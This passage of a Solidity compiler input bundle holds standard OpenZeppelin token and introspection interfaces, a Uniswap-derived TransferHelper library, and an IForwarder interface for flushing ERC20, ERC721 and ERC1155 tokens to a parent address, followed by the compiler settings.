ForwarderDeposited(msg.sender, value, msg.data);\n }\n\n /**\n * @inheritdoc IERC165\n */\n function supportsInterface(bytes4 interfaceId)\n public\n virtual\n override(ERC1155Receiver, IERC165)\n view\n returns (bool)\n {\n return\n interfaceId == type(IForwarder).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC1155/IERC1155.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC1155 compliant contract, as defined in the\n * https://eips.ethereum.org/EIPS/eip-1155[EIP].\n *\n * _Available since v3.1._\n */\ninterface IERC1155 is IERC165 {\n /**\n * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.\n */\n event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);\n\n /**\n * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all\n * transfers.\n */\n event TransferBatch(\n address indexed operator,\n address indexed from,\n address indexed to,\n uint256[] ids,\n uint256[] values\n );\n\n /**\n * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to\n * `approved`.\n */\n event ApprovalForAll(address indexed account, address indexed operator, bool approved);\n\n /**\n * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.\n *\n * If an {URI} event was emitted for `id`, the standard\n * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value\n * returned by {IERC1155MetadataURI-uri}.\n */\n event URI(string value, uint256 indexed id);\n\n /**\n * @dev Returns the amount of tokens of token type `id` owned by `account`.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function balanceOf(address account, uint256 id) external view returns (uint256);\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.\n *\n * Requirements:\n *\n * - `accounts` and `ids` must have the same length.\n */\n function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)\n external\n view\n returns (uint256[] memory);\n\n /**\n * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,\n *\n * Emits an {ApprovalForAll} event.\n *\n * Requirements:\n *\n * - `operator` cannot be the caller.\n */\n function setApprovalForAll(address operator, bool approved) external;\n\n /**\n * @dev Returns true if `operator` is approved to transfer ``account``'s tokens.\n *\n * See {setApprovalForAll}.\n */\n function isApprovedForAll(address account, address operator) external view returns (bool);\n\n /**\n * @dev Transfers `amount` tokens of token type `id` from `from` to `to`.\n *\n * Emits a {TransferSingle} event.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.\n * - `from` must have a balance of tokens of type `id` of at least `amount`.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\n * acceptance magic value.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes calldata data\n ) external;\n\n /**\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.\n *\n * Emits a {TransferBatch} event.\n *\n * Requirements:\n *\n * - `ids` and `amounts` must have the same length.\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\n * acceptance magic value.\n */\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata amounts,\n bytes calldata data\n ) external;\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Required interface of an ERC721 compliant contract.\n */\ninterface IERC721 is IERC165 {\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in ``owner``'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Transfers `tokenId` token from `from` to `to`.\n *\n * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool _approved) external;\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n}\n"
},
"@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721Receiver {\n /**\n * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n *\n * It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n *\n * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.\n */\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"@openzeppelin/contracts/token/ERC1155/utils/ERC1155Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/utils/ERC1155Receiver.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC1155Receiver.sol\";\nimport \"../../../utils/introspection/ERC165.sol\";\n\n/**\n * @dev _Available since v3.1._\n */\nabstract contract ERC1155Receiver is ERC165, IERC1155Receiver {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {\n return interfaceId == type(IERC1155Receiver).interfaceId || super.supportsInterface(interfaceId);\n }\n}\n"
},
"contracts/ERC20Interface.sol": {
"content": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\n/**\n * Contract that exposes the needed erc20 token functions\n */\n\nabstract contract ERC20Interface {\n // Send _value amount of tokens to address _to\n function transfer(address _to, uint256 _value)\n public\n virtual\n returns (bool success);\n\n // Get the account balance of another account with address _owner\n function balanceOf(address _owner)\n public\n virtual\n view\n returns (uint256 balance);\n}\n"
},
"contracts/TransferHelper.sol": {
"content": "// SPDX-License-Identifier: GPL-3.0-or-later\n// source: https://github.com/Uniswap/solidity-lib/blob/master/contracts/libraries/TransferHelper.sol\npragma solidity 0.8.10;\n\nimport '@openzeppelin/contracts/utils/Address.sol';\n\n// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false\nlibrary TransferHelper {\n function safeTransfer(\n address token,\n address to,\n uint256 value\n ) internal {\n // bytes4(keccak256(bytes('transfer(address,uint256)')));\n (bool success, bytes memory data) = token.call(\n abi.encodeWithSelector(0xa9059cbb, to, value)\n );\n require(\n success && (data.length == 0 || abi.decode(data, (bool))),\n 'TransferHelper::safeTransfer: transfer failed'\n );\n }\n\n function safeTransferFrom(\n address token,\n address from,\n address to,\n uint256 value\n ) internal {\n // bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));\n (bool success, bytes memory returndata) = token.call(\n abi.encodeWithSelector(0x23b872dd, from, to, value)\n );\n Address.verifyCallResult(\n success,\n returndata,\n 'TransferHelper::transferFrom: transferFrom failed'\n );\n }\n}\n"
},
"contracts/IForwarder.sol": {
"content": "pragma solidity ^0.8.0;\n\nimport '@openzeppelin/contracts/utils/introspection/IERC165.sol';\n\ninterface IForwarder is IERC165 {\n /**\n * Sets the autoflush721 parameter.\n *\n * @param autoFlush whether to autoflush erc721 tokens\n */\n function setAutoFlush721(bool autoFlush) external;\n\n /**\n * Sets the autoflush1155 parameter.\n *\n * @param autoFlush whether to autoflush erc1155 tokens\n */\n function setAutoFlush1155(bool autoFlush) external;\n\n /**\n * Execute a token transfer of the full balance from the forwarder token to the parent address\n *\n * @param tokenContractAddress the address of the erc20 token contract\n */\n function flushTokens(address tokenContractAddress) external;\n\n /**\n * Execute a nft transfer from the forwarder to the parent address\n *\n * @param tokenContractAddress the address of the ERC721 NFT contract\n * @param tokenId The token id of the nft\n */\n function flushERC721Token(address tokenContractAddress, uint256 tokenId)\n external;\n\n /**\n * Execute a nft transfer from the forwarder to the parent address.\n *\n * @param tokenContractAddress the address of the ERC1155 NFT contract\n * @param tokenId The token id of the nft\n */\n function flushERC1155Tokens(address tokenContractAddress, uint256 tokenId)\n external;\n\n /**\n * Execute a batch nft transfer from the forwarder to the parent address.\n *\n * @param tokenContractAddress the address of the ERC1155 NFT contract\n * @param tokenIds The token ids of the nfts\n */\n function batchFlushERC1155Tokens(\n address tokenContractAddress,\n uint256[] calldata tokenIds\n ) external;\n}\n"
},
"@openzeppelin/contracts/utils/introspection/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155Receiver.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev _Available since v3.1._\n */\ninterface IERC1155Receiver is IERC165 {\n /**\n @dev Handles the receipt of a single ERC1155 token type. This function is\n called at the end of a `safeTransferFrom` after the balance has been updated.\n To accept the transfer, this must return\n `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))`\n (i.e. 0xf23a6e61, or its own function selector).\n @param operator The address which initiated the transfer (i.e. msg.sender)\n @param from The address which previously owned the token\n @param id The ID of the token being transferred\n @param value The amount of tokens being transferred\n @param data Additional data with no specified format\n @return `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))` if transfer is allowed\n */\n function onERC1155Received(\n address operator,\n address from,\n uint256 id,\n uint256 value,\n bytes calldata data\n ) external returns (bytes4);\n\n /**\n @dev Handles the receipt of a multiple ERC1155 token types. This function\n is called at the end of a `safeBatchTransferFrom` after the balances have\n been updated. To accept the transfer(s), this must return\n `bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))`\n (i.e. 0xbc197c81, or its own function selector).\n @param operator The address which initiated the batch transfer (i.e. msg.sender)\n @param from The address which previously owned the token\n @param ids An array containing ids of each token being transferred (order and length must match values array)\n @param values An array containing amounts of each token being transferred (order and length must match ids array)\n @param data Additional data with no specified format\n @return `bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))` if transfer is allowed\n */\n function onERC1155BatchReceived(\n address operator,\n address from,\n uint256[] calldata ids,\n uint256[] calldata values,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"@openzeppelin/contracts/utils/introspection/ERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165 is IERC165 {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize, which returns 0 for contracts in\n // construction, since the code is only stored at the end of the\n // constructor execution.\n\n uint256 size;\n assembly {\n size := extcodesize(account)\n }\n return size > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n"
}
},
"settings": {
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"libraries": {}
}
}}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.